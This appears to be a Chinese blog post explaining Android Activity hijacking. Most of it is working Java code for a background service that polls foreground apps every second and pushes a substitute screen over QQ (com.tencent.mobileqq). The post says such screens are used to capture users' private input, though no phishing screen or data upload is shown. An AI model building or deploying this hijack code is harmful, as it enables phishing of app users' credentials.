前言
今天一款小众的搜图app上找一点图片资源,突然页面就弹出了一个全屏的“菠菜”广告页,刚开始还在纳闷这是什么需求这么硬核,后来才反应过来应该是界面被劫持了。出于好奇心,自己也研究一下。在这里记录与分享
介绍
什么是Activity劫持?一般情况下分为两种:
第一种是,手机里面安装了恶意程序,恶意程序会注册一个Receiver,响应android.intent.action.BOOT_COMPLETED事件,这个Service会启动一个定时器,不停的循环查询当前运行的进程。一旦当前的进程正是我们要劫持的,并运行在前台,立马使用FLAG_ACTIVITY_NEW_TASK启动自己的恶意应用界面处于栈顶,用户看到的就是恶意应用的界面,获取用户输入的隐私信息,并发送到服务器。
第二种是,Android中启动一个Activity常用的方法是startActivity。startActivity的参数时Intent,这个Intent有两种设置方式 1,通过设置action,系统找到接收该action的Activity,然后启动 2,明确指定要启动的Activity所在的包和Activity的对应的类名。
当一个应用程序通过action来启动某个Activity时,另一个恶意应用可以创建一个同样的action来接收Activity。在Android应用中,如果存在多个Activity接收同一个action,那么就会提供一个选择列表让用户进行选择。一旦用户选错了,就进入了恶意程序的界面,当用户输入隐私信息,有可能被恶意程序将数据发送给服务器,导致用户信息泄露。
实现思路
在Service中开启一个定时任务,并且不断的获取进程数据。匹配到想要劫持的进程时,打开新的页面劫持该App。
下面是代码实现:
public class HijackingService extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
private boolean hasStart = false;
//劫持列表
HashMap<String, Class<?>> classStores = new HashMap<>();
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
hijackPackage(getApplication());
handler.postDelayed(mTask, 1000);
}
};
@Override
public void onCreate() {
super.onCreate();
//获取所有已安装应用 package 信息
getItems(getApplication());
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
Log.w("hijacking", "劫持服务开启");
if (!hasStart){
//添加想要劫持的应用
classStores.put("com.tencent.mobileqq", QQActivity.class);
handler.postDelayed(mTask, 1000);
Log.w("hijacking", "定时劫持任务开始执行");
hasStart = true;
}
}
@Override
public void onDestroy() {
super.onDestroy();
Log.w("hijacking", "劫持服务停止");
hasStart = false;
HijackingApplication.clearProgressHijacked();
handler.removeCallbacks(mTask);
Log.w("hijacking", "定时劫持任务停止");
}
//获取已安装的应用信息
public ArrayList<HashMap<String, Object>> getItems(Context context) {
PackageManager pckMan = context.getPackageManager();
ArrayList<HashMap<String, Object>> items = new ArrayList<HashMap<String, Object>>();
List<PackageInfo> packageInfo = pckMan.getInstalledPackages(0);
Log.w("hijacking", "------------打印已安装应用信息-----------------");
for (PackageInfo pInfo : packageInfo) {
HashMap<String, Object> item = new HashMap<String, Object>();
Log.w("hijacking", "-----------------------------");
item.put("appimage", pInfo.applicationInfo.loadIcon(pckMan));
Log.w("hijacking", "appimage-->"+pInfo.applicationInfo.loadIcon(pckMan));
item.put("packageName", pInfo.packageName);
Log.w("hijacking", "packageName-->"+pInfo.packageName);
item.put("versionCode", pInfo.versionCode);
Log.w("hijacking", "versionCode-->"+pInfo.versionCode);
item.put("versionName", pInfo.versionName);
Log.w("hijacking", "versionName-->"+pInfo.versionName);
item.put("appName", pInfo.applicationInfo.loadLabel(pckMan).toString());
Log.w("hijacking", "appName-->"+pInfo.applicationInfo.loadLabel(pckMan).toString());
Log.w("hijacking", "-----------------------------");
items.add(item);
}
Log.w("hijacking", "-------------打印已安装应用信息完毕----------------");
return items;
}
private void hijackPackage(Context context){
//获取一个在前台运行应用的 List
List<AndroidAppProcess> runningForegroundApps = AndroidProcesses.getRunningForegroundApps(context);
if (runningForegroundApps.size() > 0) {
Log.w("hijacking", "正在劫持");
for (AndroidAppProcess androidAppProcess : runningForegroundApps){
String packageStr = androidAppProcess.getPackageName();
//如果已经劫持过当前应用,则不继续劫持
if (!HijackingApplication.hasProgressBeHijacked(packageStr)){
//前台运行的应用是否在劫持列表中
if (classStores.containsKey(packageStr)){
//已经劫持过应用添加到 HijackingApplication
HijackingApplication.addProgressHijacked(packageStr);
Log.w("hijacking", "已经劫持-->"+packageStr);
Intent jackingIsComing = new Intent(getBaseContext(), classStores.get(packageStr));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
break;
}
}
}
Log.w("hijacking", "一次劫持结束");
}
}
}